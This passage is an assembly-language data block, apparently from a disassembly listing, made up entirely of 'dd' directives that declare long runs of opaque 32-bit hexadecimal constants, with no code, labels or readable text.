		dd 0BD70912h, 84065A9h,	39BB955Fh, 478FE00Fh, 0B4C28420h
		dd 0F02C46A4h, 44704FB9h, 1379EDA0h, 29B62E0Ch,	88E99753h
		dd 5C7D962Eh, 803834AEh, 6E0B2C4Eh, 0D3BB2107h,	0FCE9CC70h
		dd 7E420B84h, 69EFCE56h, 25D25287h, 0AFE1F3C5h,	0B8158FD7h
		dd 2B8FE058h, 6095225h,	54351024h, 419FFA08h, 7FCE815Eh
		dd 0A225E194h, 0CFAF79C6h, 60E952E1h, 69CA7FD4h, 40BE1810h
		dd 778647F7h, 53938BFh,	0E1ABFD4Eh, 0D7D19E9h, 805E316h
		dd 469203Fh, 322B38Eh, 0EBC1B6A4h, 90309987h, 0EC4B1E68h
		dd 48D40FCAh, 0F28054E7h, 6FC37F56h, 79D5892Fh,	9EB6258Bh
		dd 0C3538280h, 0A5294795h, 2E5E284Ah, 9753296Ch, 5B480C16h
		dd 79F60038h, 0BE564FF7h, 0C1281CE4h, 7E68B69h,	0EE975F04h
		dd 12B39730h, 25427D11h, 0DEBA020Fh, 807C479Bh,	2AC0BB4Fh
		dd 7D1C54B9h, 0ACEC95AFh, 0D1E4AD01h, 8F25E9C3h, 535D251h
		dd 61F7A63Fh, 9179E935h, 145D2497h, 0D1E4ADFFh,	8066DEh
		dd 0EE58145h, 22653813h, 0FB48EDC9h, 335A89E9h,	0F0D33FFDh
		dd 0E8BFBA5Ch, 0ECE8191h, 34432925h, 146DF6C0h,	955903h
		dd 0D4C587Ah, 0F4409598h, 0F1BCF41Ah, 5CA4094Fh, 47318AB9h
		dd 0E5D31C86h, 6E9F3818h, 0F6656B28h, 2714D000h, 4EE94137h
		dd 9024969Ch, 6EDA1224h, 23857B3Dh, 0AA028864h,	0CA662622h
		dd 0BA8460E6h, 1380B168h, 7AF350F8h, 8C07D69Fh,	3C48BD48h
		dd 5A4E8927h, 5DF70690h, 0C615855h, 687648E8h, 0A29C4A98h
		dd 0A32EF302h, 8E6BE137h, 0A3134AF0h, 804DAEB8h, 2D44B4C4h
		dd 15EA332Fh, 0D22C005Fh
		dd 0BA80A410h, 0A858E482h, 66EDC1DEh, 4A070605h, 3674D317h
		dd 49281619h, 0D5ABA0EBh, 23C858AFh, 0DA266748h, 92AC9F5Fh
		dd 0ECBEC593h, 39794EF4h, 0A6134C3Dh, 9173901Ch, 732DAD58h
		dd 0C26AE34Dh, 0C090982h, 296D25FFh, 0A386FD04h, 54FBD0Dh
		dd 0D20EEEA5h, 0E9C7A1F8h, 69272F4Ah, 854F2A7Ah, 1C72DC6h
		dd 823ABCE1h, 0D830AC81h, 50A3FC52h, 511C26B3h,	0EA96DD88h
		dd 5BB14C11h, 7E42A0A5h, 0EE5504A9h, 64982101h,	0D12C053Dh
		dd 143A0741h, 822DA9D1h, 3A489119h, 968308Ch, 227B763Ah
		dd 6A203E0h, 4F4BAA05h,	45AC73E9h, 5AD62109h, 1BF68900h
		dd 0C4C065Eh, 14F415C5h, 63F202B4h, 0C07B6068h,	2427E7D3h
		dd 12474EF5h, 7E77BECFh, 0F517EFB2h, 52204C94h,	695BB5FAh
		dd 2F2781ACh, 0F631E9C0h, 2168E192h, 9E10392Bh,	7335788Ah
		dd 0F14E7E42h, 3258B59h, 0C6819900h, 460CFCDFh,	0B159E98Fh
		dd 0EAD195ADh, 0FA139A63h, 0E9FB8158h, 67348AD8h, 0FE561E2Dh
		dd 0D56E8D03h, 11A63114h, 0AD5AD01Fh, 0DDD04A68h, 0CA23AA41h
		dd 8685CA2Ah, 0E2002E1Bh, 0C050B4C5h, 0E5D12461h, 93E008Dh
		dd 92E94AF9h, 0FD5D35Bh, 0DC9450AFh, 6CA0F55Ah,	84ADD035h
		dd 0B912A38Ch, 6E0008Dh, 0A075EB0Dh, 83129F55h,	80458385h
		dd 7B311411h, 4AFF3F5Ch, 46CB3294h, 0E9091B58h,	435C6DA8h
		dd 0D2560D65h, 796CFA09h, 48BAC0BEh, 100A8C19h,	0BAF5DBE9h
		dd 7D049BA0h, 2935792Dh, 117EAD1Dh, 0DA8C6FA4h,	17CB539Bh
		dd 0A06F159Eh, 57177E63h, 0C7124227h, 3ADC69FBh, 6335FC41h
		dd 56A6128Fh, 16660B4Ch, 685094DEh, 797809C4h, 8EF55A48h
		dd 0D31A5D1Fh, 0E3486008h, 28411273h, 97B45F31h, 8B8AED94h
		dd 5E65A786h, 66E995F5h, 4944F51Eh, 0F740E533h,	0D9A0FC05h
		dd 0D8280117h, 54C4072Dh, 590B8ABEh, 0C17A3EF4h, 0B001717Dh
		dd 8098ECF7h, 24D0EB3Eh, 4292F484h, 0A1DC1C04h,	7F05F540h
		dd 211443BEh, 4F85DEFh,	0FDF3DF3Eh, 0C05E53C2h,	0F859847Dh
		dd 90FEF247h, 5F08815Eh, 27CDE33Eh, 756712B8h, 95300498h
		dd 27CC4695h, 14D6ACD5h, 0A5B168h, 7D38CF86h, 200DB049h
		dd 7908CFAh, 0B03E6B41h, 8850A8FEh, 1441D8D5h, 8F34C5DDh
		dd 0BE529A5Fh, 4C501EC5h, 0E7EBCA09h, 0AC1A5B39h, 5500690Ah
		dd 0E90C4478h, 1D3B4A5h, 295EF031h, 0AAF06BC7h,	3D6204CAh
		dd 0BE50FD18h, 1E712880h, 890A315Eh, 6F82C96Ch,	0B9C00031h
		dd 8FDE6602h, 0EC6AF80Bh, 5B2958A2h, 92E5ED5Ah,	0B825E244h
		dd 6211BD40h, 43B20B6Ah, 0B909F424h, 0FDE3818Fh, 0C04A450Eh
		dd 4013A1F3h, 4589E08h,	91238C68h, 48BBE002h, 6A7FC9EFh
		dd 0B850390Eh, 3D412030h, 969E13E9h, 91789509h,	0F7065838h
		dd 6E3EF80h, 0EC4A517Eh, 405D7B0Ch, 981E0426h, 0F0D8F743h
		dd 0E81FC1FCh, 33C10D05h, 4D2518FFh, 2DD01AD9h,	0D4B20546h
		dd 1CC201D2h, 7813C0A9h, 5789695Dh, 898205Bh, 75C2BF62h
		dd 41FA9F54h, 82643D32h, 1F0F9F86h, 23C0FD2Bh, 0F6071FB3h
		dd 0F2C380DBh, 80AAEA33h, 0BAC1E9DAh, 545618A9h, 7EE1DC5Eh
		dd 21E1C1BEh, 0CD6A1C5Fh, 9A4F2EE4h, 0E5E837BDh, 815954C4h
		dd 117D5830h, 82D88BC6h, 68F29FB4h, 0F704EA2Bh,	6C66885h
		dd 30C0B7A8h, 5A2B4971h, 0E59EAEFCh, 6637BE60h,	0E956137Ch
		dd 0E7D7A42Dh, 0E94291A5h, 77A442Eh, 5573F3EFh,	0C310B644h
		dd 79685E16h, 0C61825B9h, 0B0EB2DC0h, 227F0812h, 8A650AFh
		dd 71441C6Fh, 69CB8279h, 6095C4D0h, 0F44058E4h,	8C995E65h
		dd 0D7568927h, 0DC312CF0h, 6B5D6804h, 0FD0489A3h, 0C06C8085h
		dd 0A8465F3Bh, 0F001751Bh, 16CAF566h, 0F8D5C84Fh, 79B2695Eh
		dd 38F10C9Bh, 9E736CD8h, 56A4EE0Bh, 77FCE955h, 2540601h
		dd 985493E9h, 8B4BD2F8h, 572102B3h, 564EE91Ch, 2BB0930h
		dd 0A0454066h, 2369216Bh, 11397676h, 0F15C5E64h, 1028FC1Ah
		dd 0AD552484h, 9379DE16h, 1A7F1DCh, 9760787Eh, 6B6AF6E9h
		dd 9CB0B5D0h, 2CC03504h, 0D1B81356h, 688D61ACh,	70FD90DCh
		dd 5BE3BD16h, 0E9C15552h, 0C8661B67h, 0DF611502h, 0C576427Fh
		dd 0ED800735h, 76116004h, 0CBE901F6h, 1574205h,	8A6A0D1h
		dd 0B5D75A7Fh, 0BBE485E2h, 44593C9h, 417CB3B2h,	0DE32C9ECh
		dd 0D322EDC2h, 9B7B5FFEh, 371BC601h, 1EA06190h,	0D50882EFh
		dd 625F8FE1h, 0C9090236h, 569B840Fh, 75F627AFh,	0E7384C51h
		dd 0F58A475Eh, 6B1CA249h, 88E6C6E0h, 1AAC916h, 76D32DEBh
		dd 5CD42D6Dh, 48DD9866h, 0D93E656Fh, 0A41BAE2Ch, 0F1015D84h
		dd 835C48FFh, 95FBC627h, 0D0A1A9Bh, 0A611A9E9h,	4B001E6Ah
		dd 4D682142h, 0B7ED73D1h, 72C08B70h, 0CC7A40CDh, 9F2B9089h
		dd 32F16BA0h, 717622B9h, 5E1DE106h, 721E3EF0h, 9905F06h
		dd 8F46613h, 9679242h, 0B4884602h, 44EB947Dh, 2BC27D14h
		dd 466BF068h, 42DB9D2Ah, 0BB2028EBh, 2D51B900h,	0BD543C9Fh
		dd 0B9E42C0h, 58759B58h, 214F1065h, 0ECD6BE00h,	0F529B489h
		dd 22BDDDB0h, 4A77E9F6h, 2602D768h, 5F2BE10Eh, 15886200h
		dd 0DCB86B58h, 94057802h, 56DF0152h, 2EE7C0A8h,	7812396Ah
		dd 0B4901FE9h, 2011BCC7h, 55026332h, 17A586Dh, 9B762CFh
		dd 1D0D8208h, 0F098551Ah, 87D97C85h, 0AE64FC11h, 196D0BB8h
		dd 0AC0C4A67h, 0E8130504h, 6054E60h, 0DBB58347h, 7F40F600h
		dd 4EE2B8F6h, 0ED281234h, 0CFE9F166h, 0DD32172Bh, 6664F8AEh
		dd 3A82894Ch, 0D17EC1A1h, 82801F3Ah, 3844EF5Fh,	42810F09h
		dd 6C6B7523h, 8C1284Fh,	0DD5FE7C9h, 35A9334h, 575ECA05h
		dd 6546BD0Eh, 2F80159Ah, 4A1F09DCh, 2F79F3A1h, 0FECF8B6Fh
		dd 728FB983h, 0D8BCD788h, 8CEA9DD8h, 4C1F17E0h,	2849C229h
		dd 5210F716h, 932D67D8h, 24CA650Ch, 68150534h, 5100EF34h
		dd 1EBD61C1h, 8AFE5A21h, 0D687162Eh, 96C41A8h, 0E6028110h
		dd 4FDC1BE1h, 0BEBB88C1h, 4919013Dh, 7DFE9F8h, 128CC3Ah
		dd 0EC8C17B6h, 9EEBF65h, 6DED1B1Dh, 167EB542h, 9D9CC69h
		dd 0FC448EDh, 0EB6F7F78h, 36CDEF0Fh, 411882BCh,	0CF1576Dh
		dd 235D581Fh, 0FC892073h, 833D55CBh, 0DC2E01B1h, 42F72138h
		dd 0D709F002h, 0A36CB105h, 0F2607F1Eh, 28212C63h, 66D0F5F0h
		dd 0C9DE15Ah, 0BC51524Ch, 0A2B3C059h, 37FEC0B1h, 336E80C9h
		dd 0C38B4C1h, 2ED93DD4h, 5819F79h, 0BA5A7A7Fh, 97D594F8h
		dd 0B45009A3h, 5A12FCF5h, 0ED39D6FCh, 0E935EB82h, 165D03D0h
		dd 4A9DFA0Fh, 87A0B4D6h, 680DB960h, 3E341498h, 4512587Eh
		dd 0B232FADCh, 0B2CBAA21h, 725D3A03h, 0B6B7D928h, 0DA68179Eh
		dd 14D5606Dh, 44E91A15h, 0A164B575h, 0E526E191h, 25BB9908h
		dd 9C887343h, 0EE4842B4h, 438C625Ah, 99FA89h, 45A83FE5h
		dd 3B54D1BFh, 0CF313013h, 0C10CB78Ah, 3EF802EFh, 0AEC4EBFEh
		dd 971268A2h, 917095CBh, 2AEAD134h, 5B54ACB0h, 65EF3168h
		dd 0C1F08363h, 9D3108EAh, 404C7C86h, 2FEDF6B3h,	15108CA3h
		dd 71BB9669h, 34647F82h, 0B4322FEh, 0E9E5A17Fh,	616E90E9h
		dd 749F1943h, 745A0167h, 0F94FFDE3h, 2BB44F0Ah,	942976E9h
		dd 73A58409h, 0FAB6C597h, 4982C735h, 9577E685h,	0C9630260h
		dd 32FFB83h, 68C201A1h,	3710386Dh, 926286B0h, 777ED660h
		dd 5C02C962h, 82BA623Bh, 0B4B11F4h, 86CE619Dh, 0BD01C096h
		dd 10999097h, 854043D5h, 0E9FE0A88h, 0B432ACF6h, 2E2DEA06h
		dd 0F2B50C78h, 85548B00h
		dd 0A3981C8Dh, 0AB3B1470h, 0AD80A62Dh, 295C865Eh, 201FDBB5h
		dd 407AB00Ch, 0AABBBBCDh, 0A4DD5C2Dh, 0E95C2D55h, 0A0B78AEh
		dd 0A59E5F9Fh, 0AFE90CC2h, 474C5577h, 0E382AAC4h, 74C86AA5h
		dd 8D064A90h, 2D72629Ah, 52233014h, 0E010D263h,	43583598h
		dd 0C90676BEh, 171E39F3h, 2618FA18h, 36B3B5Eh, 14870226h
		dd 0FA051804h, 40AA369Dh, 4474F765h, 0CC169D5h,	51AE4E68h
		dd 89036E78h, 887BE9CEh, 0FBC9A903h, 37E967Ah, 84B0DB4h
		dd 262D3168h, 285D80B7h, 12B551C8h, 9E5C033h, 0BC20570Bh
		dd 7316D1BAh, 252E207Ah, 2EACFA10h, 1D461C02h, 0F4E1400Dh
		dd 66B3E3Ch, 0E24A060h,	0E760C133h, 29B6EF12h, 0A18DB84Ch
		dd 0DEE22A1Eh, 6B0BCB43h, 8574C2D0h, 48702731h,	0DBC361CCh
		dd 0ED62044Fh, 0C55E4066h, 646E901Bh, 4960C378h, 0AB3F9462h
		dd 723990DEh, 59C804F9h, 937EE95Fh, 3AB1ACD8h, 0B4F73A94h
		dd 4D2C5C0Fh, 0D66C5FD7h, 570063ADh, 2B9BC7E9h,	444C8AF6h
		dd 67E66808h, 613FE909h, 0E5204A50h, 1A332DB6h,	83097650h
		dd 84CDE140h, 0EC19BF5Ah, 0EFDB6BFDh, 0B2101852h, 4CFD4A78h
		dd 8071AAD7h, 449765D6h, 3C090949h, 923C981h, 38A3AF1h
		dd 0EFD9F713h, 1F41F58h, 520860C9h, 743952F1h, 0C6D0CAF2h
		dd 0F6244E08h, 42BD8C57h, 44B49A98h, 26F96816h,	880E67B3h
		dd 0F76153E6h, 23CC11E9h, 1F512685h, 880BC810h,	3ADC5919h
		dd 426C517Ah, 89096D6Bh, 28458197h, 7B2001FDh, 32BA0252h
		dd 421FCE61h, 81E100F5h, 90785ACAh, 8F4A51CAh, 4B7025C8h
		dd 7A8DB158h, 307F642h,	27D9F608h, 182C0DCh, 7C33E9F2h
		dd 8335C57Fh, 0C65EDDDh, 92BCEC60h, 0C08C8790h,	0F9B08A1Eh
		dd 0C1662EDDh, 0B9238F13h, 0CA8C106h, 5AACCA6Bh, 685B1DC0h
		dd 0F9744E2Bh, 58B68BDAh, 46209C74h, 2118457Bh,	3FBC59CAh
		dd 0CBC73C9Eh, 0FBC5E4CFh, 0FE39BF00h, 16E9DF29h, 0FC33D31Ah
		dd 2DDE963Fh, 0A084194Ch, 6ABD00FFh, 0B87B9A08h, 0B2AA4037h
		dd 348ECD59h, 0C0AE436Dh, 0A17B1643h, 3C2C705Fh, 0DA5302B5h
		dd 5FFD215Eh, 0C5849854h, 0BAC1DBE2h, 0A23EEB01h, 971520CFh
		dd 774E377Ah, 0BEA41ABDh, 0E90B9CCBh, 0D12AB53Bh, 0D620298h
		dd 0C6AA6043h, 0F8902F84h, 6E1739E1h, 0A20005D3h, 7AB5333Dh
		dd 0F21020E9h, 0FECEB000h, 4540CC8h, 0F3240307h, 0D6F6F086h
		dd 78340824h, 6BB93709h, 0D15A903Ch, 0F909BD40h, 8C5433B2h
		dd 5ACB6878h, 16D3E315h, 6D5C6F52h, 6E8EF422h, 0C2C4D562h
		dd 0C12ED4EEh, 8BEF50h,	979CC884h, 0D1316A90h, 62222ECBh
		dd 0F50F42C7h, 0C2DF9BBAh, 8E62D54Eh, 0E05F5E6Ch, 0F7804680h
		dd 0FE0825EDh, 1498F3F8h, 459C7528h, 29D42025h,	2D17447Ch
		dd 58EE5FD5h, 72D38DAh,	0F831809Eh, 0F22AF188h,	0D5E53CE4h
		dd 409D0042h, 7A00B67Fh, 18E12D5Eh, 28294A56h, 0B00705D8h
		dd 0D0514A96h, 16F8F17Ah, 0FE608824h, 36C96B1Fh, 2182D73Fh
		dd 38C0D1F7h, 1D2C8E3Dh, 70AD9DF6h, 0CD53203Bh,	20BC5548h
		dd 0B05EFC9Ah, 0FA4A9D43h, 3DD41081h, 0F5EC70DDh, 0BD886640h
		dd 2EC884ADh, 53CB88A2h, 0DD2FBC46h, 98D9C65Bh,	72968A26h
		dd 0B8EDE6A5h, 0E22C4A03h, 2F28CCA0h, 0B93CE068h, 245D9DA0h
		dd 11B962A1h, 404C800Eh, 0BA1770h, 61A79665h, 6CE9CA29h
		dd 85EDA34Eh, 3731C5C0h, 9B903561h, 587B4809h, 98C86362h
		dd 0A0B850D5h, 98C5290Bh, 1AED5166h, 43EAE72Eh,	0CF4B4B81h
		dd 573DA92Fh, 5EC31982h, 0AB2CC80Ah, 0D2822944h, 27517C48h
		dd 83588381h, 608946C6h, 68659697h, 2FA4B9Eh, 729D7B8Ch
		dd 310E0C74h, 8F24CD6h,	38B2DE9h, 0FE698176h, 99C8B71Bh
		dd 0CF92D77h, 4A8EA26Bh, 803643B5h, 1E2C337Bh, 0F7795B4Ah
		dd 974CC84Bh, 40E4DEEBh, 0F71D28F1h, 0CF025A66h, 5739C780h
		dd 92BF49E7h, 0B80901EFh, 26005CFAh, 6E8192Bh, 4C2C606Bh
		dd 9868E910h, 5E232D75h, 0BCC6FE5Ch, 0F0293B13h, 0FBD82B92h
		dd 0CB2DFB70h, 209A0502h, 1605E801h, 0E94A2C07h, 64801D4Ah
		dd 14D02505h, 0FA898008h, 57045A7Dh, 823CA3B6h,	0F75E7368h
		dd 0D182DC96h, 0E93DE87Dh, 22C99D7Dh, 0F60821D8h, 47A0F509h
		dd 2EE5EB81h, 9C003EE9h, 1A3A1946h, 0C210C801h,	9ADC2A4Dh
		dd 6872293Bh, 0D9B90146h, 7026C949h, 80807BC7h,	3BE7B0CEh
		dd 0C25E8FEEh, 2955BCBFh, 0F74F60E0h, 16984807h, 0A6842A7Eh
		dd 8F54CAAh, 5FAE0C73h,	0C0C5601h, 0EE6D3114h, 765D25A7h
		dd 797E5AEAh, 98546542h, 403AE98Ah, 0D000F703h,	4E7FBB0Dh
		dd 0E8EE2550h, 2045981Eh, 89279716h, 95A614CDh,	0B3F5AC80h
		dd 7C16BA34h, 32C35DE9h, 21C24B68h, 6E2DB665h, 9B0EAB4h
		dd 192EE9C0h, 0FAEB8525h, 8D7FDE2Dh, 0CFF23AE2h, 2800B64Ch
		dd 5D57B861h, 58001A05h, 0F0011BB1h, 0E02E6851h, 205390C8h
		dd 2D4AFC1Fh, 502A0F9h,	3212568Fh, 0B2CBF0C2h, 6A5CC1A9h
		dd 2D7BDFA7h, 0A972BE72h, 0AB0E8F33h, 0CDF0E9D3h, 6ED91F6Dh
		dd 9A95049Bh, 41AF8D0Dh, 0E296097Eh, 5421881h, 0C9BCC30h
		dd 4AE9511Fh, 0DA2EED6Ah, 98BD7F5Bh, 0F163F776h, 0D7B37D65h
		dd 7B99E17Ch, 0C6246EC9h, 0E5C4C62h, 2AE036A7h,	2994B45Eh
		dd 5C712DBAh, 155BE8B5h, 0EB171FE3h, 20076125h,	26326F64h
		dd 0E62D7DECh, 0FBA73EF0h, 85560493h, 3728AE20h, 58CD5E19h
		dd 874504F4h, 0C92DD57Ch, 0F5F52B99h, 121FA798h, 84B055F0h
		dd 9828E5B0h, 0A9B5C462h, 0BE6FE9Ch, 0B4CEE857h, 0C988D275h
		dd 4479825Bh, 0F65E62A5h, 0B32C4CF5h, 79954Ch, 5BD82855h
		dd 47AB450h, 0CDE9C4FEh, 0A629EAD2h, 0EC598D6Eh, 60011EF3h
		dd 6FFE2D7Ch, 0D4E82232h, 3FE42411h, 7513ED6h, 54118FF2h
		dd 2787491Bh, 24EAC650h, 0C232A6C3h, 2101EAC0h,	20905BDFh
		dd 51BA00F4h, 816A0C31h, 45500DF2h, 0C00C307Eh,	585C3759h
		dd 0B67C1975h, 0B2DCE1C5h, 10EC4C5h, 0ED80FFCFh, 80797D43h
		dd 0EE2D3F66h, 0CABF838h, 1D685A70h, 5817870h, 0E98DA53Ah
		dd 67C53E67h, 0E9273CABh, 23C00955h, 6E247AD6h,	0D2800461h
		dd 5A5E5256h, 84F60481h, 0D5C18908h, 0B279827Dh, 6A9632D1h
		dd 0B309D7E2h, 42828C38h, 1C7761FBh, 5F881657h,	2359928h
		dd 770B5AA4h, 5FF85E18h, 35D86995h, 3C663E34h, 0B026F9F7h
		dd 93539F5Dh, 0ACE8C57Bh, 338C9802h, 0BF4AF82Fh, 805F5A42h
		dd 5B6CC73Ch, 876A3CFCh, 0E90646B0h, 9BCE03E6h,	31CE4BC1h
		dd 0F4EC50CAh, 0FCE2FC52h, 2A44B8D3h, 178191E9h, 0B3675968h
		dd 5A5C1206h, 552FA6B3h, 1EE2DCA0h, 8118050Eh, 10DDEEFh
		dd 5B69B7FDh, 5BD47A4Ah, 201ECF80h, 0CC739DC5h,	213E904h
		dd 0A44BE7E2h, 251DBFF3h, 58BD488Ah, 0C9907D5Fh, 3FAC301h
		dd 0CB014E51h, 50FCE570h, 26E9B421h, 0AF8DBC5Eh, 5E3FD7Eh
		dd 169A2Dh, 0C3413725h,	0E9402A1Eh, 0CEAC8F6Ch,	37E5819h
		dd 21A488BEh, 5A1FAC7Ah, 0D19DC552h, 7308620Eh,	3DBBC00Fh
		dd 0A074AB58h, 917C794h, 0DFF764A5h, 805DF9E2h,	0FB12CAFBh
		dd 0EAE3A043h, 118C27C4h, 0E909C054h, 5A49C193h, 48553560h
		dd 0D824F017h, 240822A3h, 17395AD0h, 47CD04C0h,	396802B1h
		dd 953EC5Dh, 49DD0525h,	0A28056D6h, 317F9470h, 9D98ACF8h
		dd 42B01409h, 104A1F68h, 21D6B7BCh, 7FF942CAh, 0CA2ABBCDh
		dd 0E86809B7h, 0C0E89A61h, 45EBF92h, 27E91207h,	0DE1ABDB5h
		dd 0B0A02CD2h, 0E5CE4CFEh
		dd 0D5A5165Ah, 0A015ECA1h, 0BE36E9CFh, 0AE5E1351h, 88EBFE64h
		dd 31C9D114h, 9496755Dh, 76102F2Fh, 0DC78EBD4h,	0FD2D9B69h
		dd 0F425191Ch, 63CF2099h, 4D77323Eh, 0D7102A01h, 30BF07ECh
		dd 4FC7240Dh, 0E3A98DB4h, 7A97CB02h, 808F7ED1h,	219D3067h
		dd 2FA49E9h, 0C8ABFD31h, 94553C62h, 4B81B568h, 34EF0AE9h
		dd 304C63D0h, 0EA337C8Fh, 0B2080603h, 0F2AA40E2h, 0BD691DABh
		dd 0A889BF33h, 0DF80EE76h, 7DCB20C2h, 4AF72D7h,	0F9689E5Ch
		dd 8925108Ch, 27E77B73h, 884654C4h, 365EE424h, 2FFDDE2Fh
		dd 9E6BBA0h, 763BC31Fh,	0F16EA7E9h, 4E46EB97h, 0F3AAE917h
		dd 32199D52h, 0C1FDAC0Ah, 0CAFD9361h, 8A80C52Eh, 5022107h
		dd 20E0E2E9h, 0D07495C7h, 0F0095D18h, 9E28E97Dh, 0D1210E33h
		dd 226046E9h, 7A2E6858h, 0C0C24B7Fh, 1F0309ABh,	63DB5361h
		dd 9C78E5DAh, 22D36804h, 0F9CA08A7h, 24675410h,	21C8A64h
		dd 0D5168C7h, 0F96059D2h, 4A7BFB5h, 2E5C967Eh, 936752E9h
		dd 40AF985Ah, 0D091FE62h, 0C3CC9A03h, 0A6C8F964h, 9C0922Dh
		dd 6F850FDBh, 0EED4635Eh, 53B90FFh, 9425174Dh, 0E0DB0E79h
		dd 4050D820h, 2B6C092Dh, 0AFFDD6FCh, 0BFE2F2CFh, 8E028705h
		dd 43D4EB30h, 0E9790818h, 0F3584823h, 76C9E5B2h, 16D52B64h
		dd 141A9FA9h, 2269B9AFh, 3FD73C54h, 68021343h, 0AF4972BEh
		dd 0C70983ABh, 932402F1h, 9A7DA502h, 7B04E164h,	5808DD77h
		dd 0EC880418h, 1E26BB56h, 685F824Ah, 0CE754F87h, 0A0F23429h
		dd 618CBA2Dh, 13090AEFh, 26836FE6h, 39CF0B4Ch, 0F1012A54h
		dd 3FCB2AC6h, 5825777Ch, 68E7D659h, 95B33EA5h, 0E9D48806h
		dd 190F7D6h, 0C5A02009h, 230B5783h, 0CB778E7Fh,	0D1DD6C3h
		dd 652ADEADh, 1CC96B10h, 5D07A042h, 70B8C322h, 0A56FB549h
		dd 8AE541FBh, 0C3EAE3CCh, 0CBFE8E0Ch, 0E9BEF3D8h, 72C5DA4Eh
		dd 96042399h, 0D889E24Dh, 0EA120679h, 80D9E25Dh, 5443CBBDh
		dd 0FD315A0Ch, 0AF2D691h, 2E09ED4Ah, 0DCADE671h, 25547288h
		dd 7139B547h, 0E80D8889h, 816BFC2Dh, 23652D4Bh,	0C4376C53h
		dd 8100B7E1h, 0C8098FF3h, 94F2F48h, 5875B3F8h, 0B6446CAh
		dd 0AA69C7h, 4D31E2DAh,	925C247Eh, 0BFA3994h, 347D9FCAh
		dd 0FB1CAF70h, 89D4F5FFh, 0E6B8D274h, 0A8155D13h, 7A37CB84h
		dd 0B0E704F0h, 80022B39h, 8FBE1428h, 5A298C2Fh,	0B972B716h
		dd 0D4B92D5Ah, 2207E924h, 558A26E5h, 6A66AF12h,	4F76625h
		dd 530E9BC3h, 0F9E37AC4h, 966A3E4h, 539D6849h, 0D655B275h
		dd 17E9619Bh, 0E0A22A18h, 0BCD49D85h, 68568367h, 6D7780D8h
		dd 0CE81035Eh, 1CC2174Ch, 0D8DEF6B1h, 89737DF7h, 140B2DFEh
		dd 547B5D5Ch, 0B007202Ah, 956D7E86h, 44FFFA92h,	0FE9B209Ah
		dd 4FBC5A95h, 0EC43C443h, 0E1F6A168h, 0AA9B312Eh, 0DF101A2Bh
		dd 0D9845073h, 7B4AD8F0h, 0EB96E3E2h, 0D021072Dh, 0B63E8C3Eh
		dd 0F0E320F3h, 0C505514Ah, 0C8AE59CBh, 0BB949F86h, 0CEB5923Fh
		dd 0E2136321h, 4DFE6800h, 5192EC99h, 0F53AF20Dh, 1B3B3320h
		dd 0B46E8E2Eh, 639017A6h, 34C2C820h, 0FEA6D529h, 94484755h
		dd 0E6AB1006h, 1D3EBF03h, 92D30EC6h, 0D6F67F00h, 533FB450h
		dd 83417B7h, 0B1C811FCh, 57C07E5Dh, 0DF747DBFh,	2BAD09BDh
		dd 7ABFD4DAh, 20E9CCF7h, 15CAD6Bh, 0C02216F9h, 7C36F529h
		dd 6ABC9A4Ch, 0F72FDA41h, 5C5C7A36h, 0D24B896Eh, 12CA03D1h
		dd 4A033044h, 2F68CBE1h, 1F5B52A6h, 0A6854909h,	5B90D952h
		dd 15892E0Fh, 8AEFA01h,	327F008h, 2D5AEA77h, 1685379h
		dd 81D8DCDh, 0E59F7530h, 0D61B3D57h, 2A28B850h,	41EC9001h
		dd 27E02F8Dh, 0E8D14F5Fh, 8B53DE9Fh, 0F5807443h, 1FED99F8h
		dd 9D09C5D8h, 0E60435C8h, 0A5F1E395h, 4468E00Bh, 16294E38h
		dd 14B5ED1Ch, 30C35D5Ah, 0A1EEA3A3h, 1E43265Ch,	2E1F079Ch
		dd 0DBE931EBh, 7D5002B6h, 5B9FEACEh, 0CFB1894Eh, 400A2C21h
		dd 82017AA5h, 9CC5DE7Dh, 323BE42Fh, 0C673CC63h,	204A8186h
		dd 0BE71136Fh, 0D23AE469h, 0FACADF27h, 80B8B281h, 0E82FEBCEh
		dd 812ED690h, 0AE996F7h, 3BF73FF3h, 0BD903690h,	0F8B5D720h
		dd 6D16998h, 5A1EA456h,	0C032C71h, 4C6A16A7h, 0F786A960h
		dd 0BB625782h, 6705A100h, 0C6F21C88h, 6908E0D0h, 0DC41721Ch
		dd 846A010Ch, 6C63E939h, 1DCA4A1Dh, 0EEBE3D5Ah,	0FF16E302h
		dd 1905E4Ch, 1F83E5FEh,	0DD52C7F0h, 5F9E71FAh, 0E9046B58h
		dd 0F312DD93h, 114A7B63h, 4D2F4FCh, 13749C39h, 5E716F01h
		dd 7FA41F4Ah, 93CF0B22h, 732794D9h, 0FA5D1250h,	1F0FCC28h
		dd 2A2EE9C8h, 0B669C9CCh, 7E61E02h, 7767A882h, 0C32FB444h
		dd 0C7AD7602h, 9877C97Dh, 0B7D44644h, 0D9890230h, 6B76719Fh
		dd 0D1BF53F0h, 95C4737h, 51E50748h, 0E373F39Eh,	0C1FEC1B1h
		dd 0E1D00241h, 9C80089Eh, 59CC00D4h, 5058E328h,	32E8B026h
		dd 48506410h, 0FC302F95h, 0E3880818h, 0ED4ACC90h, 2BEBA741h
		dd 0C03E0371h, 0C4BD5589h, 74CC3D13h, 42AB1701h, 7C033217h
		dd 2930B417h, 0C56AB911h, 66F195E9h, 0DD06882Ah, 4E019C40h
		dd 3BEECD6Ch, 275D7DF4h, 8CD42D58h, 796A45A9h, 0EAE95582h
		dd 80C71B5h, 163E56B9h,	61CA592Fh, 2D9CA34Bh, 0A59DD15Ch
		dd 5034DC46h, 528131B8h, 463C89F0h, 633DEE09h, 0F24C59F8h
		dd 0A2E412DDh, 3D6FC8ABh, 4031515Fh, 4F44FC94h,	5ACE6280h
		dd 2380974Eh, 794655C8h, 9209EBECh, 42D394B0h, 1466DDA7h
		dd 0FBCAE92Ch, 2B33B992h, 5C65E2CDh, 1CF92D41h,	0A9571F17h
		dd 91D287B8h, 0B8EC8AD2h, 0B8014447h, 75B1202Ah, 2EE58839h
		dd 73270BEBh, 0D3E984D5h, 0AB9394EEh, 0D445AE81h, 1A950004h
		dd 0D11D137Ah, 5E48E027h, 2063267h, 20387855h, 6816EB1Ah
		dd 27F3578Bh, 7EE6012Fh, 0D9C12127h, 0A8B1A628h, 3084003Eh
		dd 0DDF7784Bh, 0C172EDD1h, 5E560C4h, 3DDC4280h,	11E06D3h
		dd 59C2E9EEh, 0CBBBE1Eh, 0BDE1D14h, 745DF496h, 25DE20AFh
		dd 24535150h, 271F97A1h, 996197E0h, 10D039F0h, 0D484A22h
		dd 5F2BEF25h, 0A1F63552h, 5816B06Bh, 0D50B322Fh, 0BDC1D00Fh
